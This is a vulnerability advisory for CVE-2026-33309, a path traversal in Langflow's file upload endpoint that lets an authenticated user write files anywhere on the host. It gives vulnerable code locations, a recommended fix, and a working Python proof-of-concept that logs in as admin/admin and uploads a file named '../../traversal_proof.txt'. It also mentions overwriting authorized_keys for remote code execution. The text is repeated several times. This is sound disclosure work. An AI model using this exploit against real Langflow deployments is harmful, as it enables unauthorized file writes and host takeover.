CVE-2026-33309

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within LocalStorageService remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency. This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within LocalStorageService remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency. This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:

1. API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters.
2. Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check.

Recommended Fix:

1. Sanitize the multipart filename before processing:

from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")

2. Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class.

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

import requests

BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)

print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.

Docker cntainer file:

user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures	secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within LocalStorageService remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency. This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within LocalStorageService remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency. This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:

1. API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters.
2. Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check.

Recommended Fix:

1. Sanitize the multipart filename before processing:

from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")

2. Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class.

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

import requests

BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)

print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.

Docker cntainer file:

user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures	secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within LocalStorageService remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency. This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.